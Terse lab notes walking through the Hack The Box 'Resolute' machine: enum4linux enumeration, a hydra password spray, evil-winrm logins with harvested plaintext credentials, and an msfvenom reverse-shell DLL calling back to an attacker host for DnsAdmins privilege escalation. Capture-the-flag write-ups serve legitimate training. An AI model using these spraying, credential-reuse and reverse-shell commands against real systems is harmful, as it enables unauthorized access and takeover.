Win: Resolute

This enumerates a windows machine
https://tools.kali.org/information-gathering/enum4linux

Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123!

we use this tool to get a shell with those credentials
just git clone it --> saved to /opt
https://github.com/Hackplayers/evil-winrm

evil-winrm -i 10.10.10.169 -u marko -p 'Welcome123!'

not marko's password , so we need to enumerate more usernames

we use hydra on a list of usernames

Administrator
Guest
krbtgt
DefaultAccount
ryan
marko
sunita
abigail
marcus
sally
fred
angela
felicia
gustavo
ulf
stevie
claire
paulo
steve
annette
annika
per
claude
melanie
zach
simon
naoki

hydra -L userlist -p 'Welcome123!' 10.10.10.169 smb

root@kali:~/htb/resolute# hydra -L userlist -p 'Welcome123!' 10.10.10.169 smb
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-03-10 04:37:43
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)

[DATA] max 1 task per 1 server, overall 1 task, 27 login tries (l:27/p:1), ~27 tries per task
[DATA] attacking smb://10.10.10.169:445/
[445][smb] host: 10.10.10.169   login: melanie   password: Welcome123!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-03-10 04:37:50

0c3be45fcfe249796ccbee8d3a978540

a series of hidden folders under the C:\ folder
show by typing ls -hidden

Evil-WinRM PS C:\PSTRANSCRIPTS\20191203> type
PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt

we find another credentials

ryan Serv3r4Admin4cc123!

evil-winrm -i 10.10.10.169 -u ryan -p 'Serv3r4Admin4cc123!'

Evil-WinRM PS C:\Users\ryan\Desktop> type note.txt
Email to team:
- due to change freeze, any system changes (apart from those to the administrator account)
will be automatically reverted within 1 minute

whoami -groups

Group Name Type SID Attributes
========== ========== ========== ==========
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MEGABANK\Contractors Group S-1-5-21-1392959593-3013219662-3596683436-1103 Mandatory group, Enabled by default, Enabled group
MEGABANK\DnsAdmins Alias S-1-5-21-1392959593-3013219662-3596683436-1101 Mandatory group, Enabled by default, Enabled group, Local Group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192

now we exploit dnsadmin vulneratbility

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.9 LPORT=12345 --
platform=windows -f dll > ~/windows/privesc/plugin.dll

https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py

e1d94876a506850d0c20edb5405e619c